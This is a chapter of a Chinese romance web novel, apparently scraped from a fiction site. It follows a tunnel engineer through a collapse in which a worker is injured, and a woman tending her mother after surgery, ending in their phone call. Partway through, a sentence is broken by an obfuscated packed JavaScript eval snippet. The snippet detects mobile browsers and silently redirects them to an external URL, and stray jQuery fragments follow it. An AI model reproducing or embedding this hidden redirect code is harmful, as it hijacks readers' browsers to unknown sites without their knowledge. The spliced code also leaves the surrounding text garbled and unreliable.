文趣网 > 其他小说 > 藏心于幡起时 > 21. 明天
    “一二三!”

    众人合力将顶杠牢牢抵在变形的钢架下方,但仅仅几秒钟的功夫,顶杠又被压得微微变形,开始出现明显的闷响。

    虽然陆藏峤额头的冷汗频频渗出,但他坚定的神情还是让几人吃了颗定心丸。

    工人们沿着标记好的路线,有序地往洞口撤离。冰冷的尘土雾气呛得人忍不住咳嗽,可他依旧咬紧牙关强撑着。

    “陆工,我们到了。”

    听到抢险队的声音,他如释重负地拿起对讲机:“好,你们先确认大家都安全撤离之后再进来,我身边还有两个人。”

    等抢险队进来接管之后,他才缓缓松开顶杠,示意身边的几个工人先撤离,自己则仔细扫视了一周,确认没有人遗漏才放心撤离出去。

    陆藏峤从洞里出来的时候,天色已经暗下去很久了。凛冽的寒风迎面吹来,汗液沾湿衣服粘在背上,他无意识打了个寒战。

    听说丹增出来之后进行了简单的清创消毒,就被平措班长带去了驻地医务室,他也赶紧往那边去。

    “情况怎么样?”

    推开门的那刻正巧撞见了丹增疼得龇牙咧嘴,可一见到陆工他又恢复那种乐呵呵的傻笑:“没事陆哥,一点小伤。”

    医务室的李医生脱下手套:“已经清理过伤口了,还好不是很深。不过高原地区有一定的特殊性,冬季出现这种伤口容易冻伤溃烂,一定要用这个防冻药膏,最近注意都不要碰冷水。待会央金会给你打一针破伤风,观察半个小时再回宿舍。”

    这位李医生原本在三级私立医院工作,后来不知道是什么原因应聘到了这里。不过来这儿之后她也很快适应了环境,和驻地的工人们都相处得不错。

    “没事的李医生,不用打。我从小就在甘孜长大的,磕着碰着是很常见的事,没那么娇气。”

    “听医生的。”陆藏峤拍拍这小兄弟的头,对平措吩咐道:“我先回去盯着抢险加固,你好好照顾丹增。”

    平措应声点点头。

    重新回到日日披星戴月的隧道口,他下意识顿住脚步。

    出现这种突发事件,尤其是还出现了施工现场有人受伤的情况,提交详细的书面复盘报告和技术反思是无可避免的。

    陆藏峤只好边盯紧现场,边分析数据总结情况。

    事故主要还是围岩渗水冻胀挤压岩体导致的,但夜间低温时段的检测频次过少,防冻措施没有实施到位这些日常监管上的问题,还是要引起重视。

    等到所有人都撤走后,他才疲惫地吐出口气,揉了揉眉心。

    年后回来开工才几天,就闹出这么大事,着实是有点糟心。忙前忙后到现在才终于把险情处理好,他的压力是可想而知的。

    那会儿没来得及想那么多,现在才开始觉得后怕。

    陆藏峤步履缓慢地走到一个大石块旁边坐下,惆怅地抬头望向天空,月色正好。

    他想起回成都前的那一晚,有个姑娘在盈盈月光下看着他,眼底氤氲着一层水汽。

    赵平昱的话瞬间在心头涌现:“别想那么多,想找她你就给她发消息,想断了就删。”

    他就只是,突然很想听听她的声音。

    庄母的手术定在了正月初十,春节放假回来第三天。庄父点名要最权威的妇科专家来动手术,可“手术中”那三个刺眼的红色字映入眼帘还是很难安心。

    庄林菀挽着父亲手臂,同他一起坐在长廊座椅上。他身体微微前倾,注视着手术室门口的灯,甚至连时间都不敢多看一眼。

    她父母称得上是患难夫妻,两人的感情几十年如一日的好。无论是生活中还是工作中,都是一个雷厉风行一个沉稳持重,都经营得井井有条。

    “放心吧爸爸,人家医生经验丰富着呢。昨天不还说嘛,像这种小手术,她团队里随便一个年轻医生就能做,说明就是很小的问题。”

    庄父浅笑一声,转过身捏了捏她的肩膀:“让我看看这个小肩膀,什么时候都这么能扛事儿了?还能安慰起你爸爸来了。”

    “我都快三十了,早就能扛事儿了,只是你们一直看不起我好不好?”

    “是,菀菀还是很能干的。”

    其实她也很紧张,原本想着活跃下气氛,结果三两句话后两个人又相顾无言。每次听到一点动静,她都会下意识心脏一提,立刻坐直身子。

    好在这种煎熬并没有持续很久,护士开门带来了好消息。

    庄母的子宫里早年放了一个节育环,这些年一直忙于工作,两个人也没有要二胎的打算,所以一直就没有取出来。加上她子宫里长了个肌瘤,这次手术就一并处理了。

    综合来看,医生认为经期淋漓不尽可能是这两个原因导致的。

    庄林菀追着护士非常详细询问了各种注意事项,然后就乖巧地守在母亲身边做好陪护工作。全麻手术之后母亲整个人都有点水肿,庄林菀学了几招就天天给她按摩。

    “人家好几个阿姨看到都说羡慕你呢,女儿呢在旁边尽心尽力照顾,老公呢也天天一下班就过来看你。”

    “是吗?我怎么没看到?”庄母抬头往左右望了望,“羡慕我什么?羡慕我家这位三十岁的人了,都没让她妈吃上一口她做的热饭?”

    “林女士,请你对外维护一下我的光辉形象好吗?而且我只是不会做饭,又不是别的都不会。”

    庄林菀已经出离无语了,但见她想要坐起身,还是半支起身子拿了个抱枕帮她枕在身后。

    她俯身靠过来的那刻,脖子上的项链从领口处坠了下来。铂金的材质原本细腻柔和,可那枚雪山却被窗外射进来的阳光映衬得闪耀夺目。

    “你这项链什么时候买的?”

    “啊?”

    庄母只是随口一问,却问得她脊背发凉,她欲盖弥彰地摸了摸心口的那枚吊坠:“就……出去玩的时候,觉得好看就买了。”

    庄母撇撇嘴:“不像是你喜欢的风格,而且这么重的坠子,看起来不便宜哦。”

    “额,”她谄媚地笑笑,“你知道我的嘛,喜欢的东西变来变去的。而且我看上了肯定就买了,很少考虑那么多的。”

    “那么辛苦赚点钱你就使劲霍霍吧,看你以后怎么办。”庄母推了推她的手,朝床头指指,“帮我把手机拿来。”

    “不行。”庄林菀坐着没动,义正词严拒绝她,“爸爸交代过了,你现在应该好好休息,不能再想着生意上的事儿了。”

    “节后订单会暴增,我不放心。”

    “爸爸天天都回去盯着,还有什么不放心的?就你这个状态,以后怎么可能会

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17748387|209375||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    安心把公司交给我?”

    庄母也不甘示弱:“就你这个状态,我怎么可能安心交给你?而且你看看现在都几点了?你爸爸都还没过来,肯定忙得不可开交。我帮着安排点事情,他也能轻松点。”她挥挥手,“行了,手机拿过来,你该干嘛干嘛去,去外面看看书也行,我就打个电话。”

    庄林菀拗不过母亲,不情不愿地将手机递过去。见母亲已经指挥地热火朝天,她也无事可做,就回外间的陪护床上躺着。

    她百无聊赖地上下滑了滑聊天记录,才惊觉她跟陆藏峤的对话还停留在回南京那天,算起来他俩都快一周没说话了。

    跟父亲敞开心扉谈过之后,她一直也很纠结,不知道跟他这样的关系究竟对不对。碰巧这几天他也没有主动联系自己,庄林菀索性就装傻当回缩头乌龟。

    两个人相隔千里,也许渐渐就会无话可说。可如果最终是这样的走向,庄林菀也不知道自己能不能接受。

    她的指尖在他头像上悬空好半天,还是没勇气没有点开。

    突然一阵急促的铃声响起,将她的思绪打断。

    她条件反射地将铃声关掉,又下意识瞄了眼里间的母亲,三两步跑到外面走廊接起了电话。

    “喂?”

    “庄林菀。”

    再次听到阔别多日的嗓音,庄林菀突然胸口酸涩得不像话,轻轻“嗯”了一声。仅仅三个字,就能听出来他的声音已经哑得不行,估计这几天也忙得够呛。

    “怎么不跟我打电话?”

    他其实真正想说的是“想你了”,可话到嘴边不知道怎么就变成这种莫名其妙的责问,他分明也没有这个立场的。

    “抱歉……”庄林菀一时有些慌乱,脑海里根本没想着要反过来质问他,只是小心翼翼地回了句,“这几天有点忙。”

    其实两个人都能听出来这是她临时找的借口,即便再忙,发个消息的时间总还是有的。

    从陆藏峤的立场来说,这就是她疏离的信号。

    没想到最终还是逃不脱这样的结果。

    “你还好吗?是不是很忙?”见他一直没说话,庄林菀又主动挑起话题。

    “有一点,今天……”他犹豫了下,还是决定轻描淡写盖过,“有点小状况,丹增受伤了。”

    “啊?丹增?是……我们在面馆碰到的你那个同事?”

    “嗯。”

    “那……他情况怎么样?严重吗?”

    “还好,一点轻伤,但要休息一段时间。”

    “那就好。”庄林菀点点头,她虽然不知道具体情况,但明显能感觉到他情绪不佳,“那你还好吗?”

    “还好。”他低声笑了笑,“但是现在要回去写报告。”

    她拿开手机看了眼时间:“都这个点了还要写吗?不能明天?”

    他自嘲地动了动唇角:“明天有明天的工作,这种工程只有出现重大事故才会停下进度。如果真到那个地步,我就别在这行干了。”

    庄林菀有些担忧,但自己确实也帮不上忙:“那好吧,你别弄得太晚了,早点休息。我们……明天再聊?”

    “真的,明天?”

    此时此刻,即便两人不是有过一段的关系,她都不可能置之不理。于是她坚定地点点头:“嗯,明天。”